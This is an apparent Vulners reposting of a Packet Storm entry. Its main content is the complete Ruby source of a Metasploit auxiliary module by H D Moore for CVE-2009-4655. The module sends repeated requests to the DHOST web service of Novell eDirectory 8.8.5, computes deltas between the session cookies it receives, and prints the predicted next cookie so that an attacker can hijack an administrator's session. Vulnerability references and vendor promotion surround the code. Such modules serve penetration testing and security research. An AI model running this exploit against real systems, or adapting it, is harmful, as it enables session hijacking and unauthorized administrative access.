Lucene search
K

Novell EDirectory DHOST Predictable Session Cookie

🗓️ 31 Aug 2024 00:00:00Reported by H D Moore, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 140 Views

Novell eDirectory DHOST Predictable Session Cookie. An attacker can predict the next session cookie value issued by the DHOST web service of Novell eDirectory 8.8.5 and hijack the administrator's session

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-4655
14 Mar 201000:00
circl
CVE
CVE-2009-4655
26 Feb 201018:09
cve
Cvelist
CVE-2009-4655
26 Feb 201018:09
cvelist
Tenable Nessus
Novell eDirectory DHost Predictable Session ID
19 Mar 201000:00
nessus
Metasploit
Novell eDirectory DHOST Predictable Session Cookie
13 Nov 200921:31
metasploit
NVD
CVE-2009-4655
26 Feb 201018:30
nvd
OpenVAS
Novell eDirectory <= 8.8.5 Cookie Hijack Vulnerability
10 Mar 201000:00
openvas
Prion
Code injection
26 Feb 201018:30
prion
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Novell eDirectory DHOST Predictable Session Cookie',  
'Description' => %q{  
This module is able to predict the next session cookie value issued  
by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run  
this module, wait until the real administrator logs in, then specify the  
predicted cookie value to hijack their session.  
},  
'References' =>  
[  
['CVE', '2009-4655'],  
['OSVDB', '60035']  
],  
'Author' => 'hdm',  
'License' => MSF_LICENSE  
))  
  
register_options([  
Opt::RPORT(8030),  
OptBool.new('SSL', [true, 'Use SSL', true])  
])  
end  
  
def run  
vals = []  
name = ""  
  
print_status("Making 5 requests to verify predictions...")  
1.upto(6) do  
  
connect  
req = "GET /dhost/ HTTP/1.1\r\n"  
req << "Host: #{rhost}:#{rport}\r\n"  
req << "Connection: close\r\n\r\n"  
sock.put(req)  
res = sock.get_once(-1,5)  
disconnect  
  
cookie = nil  
if(res and res =~ /Cookie:\s*([^\s]+)\s*/mi)  
cookie = $1  
cookie,junk = cookie.split(';')  
name,cookie = cookie.split('=')  
cookie = cookie.to_i(16)  
vals << cookie  
end  
end  
  
deltas = []  
prev_val = nil  
vals.each_index do |i|  
if(i > 0)  
delta = vals[i] - prev_val  
print_status("Cookie: #{i} #{"%.8x" % vals[i]} DELTA #{"%.8x" % delta}")  
deltas << delta  
end  
prev_val = vals[i]  
end  
  
deltas.uniq!  
if(deltas.length < 4)  
print_status("The next cookie value will be: #{name}=#{"%.8x" % (prev_val + deltas[0])}")  
else  
print_status("The cookie value is less predictable, maybe this has been patched?")  
print_status("Deltas: #{deltas.map{|x| "%.8x" % x}.join(", ")}")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 27.5
EPSS0.6034
140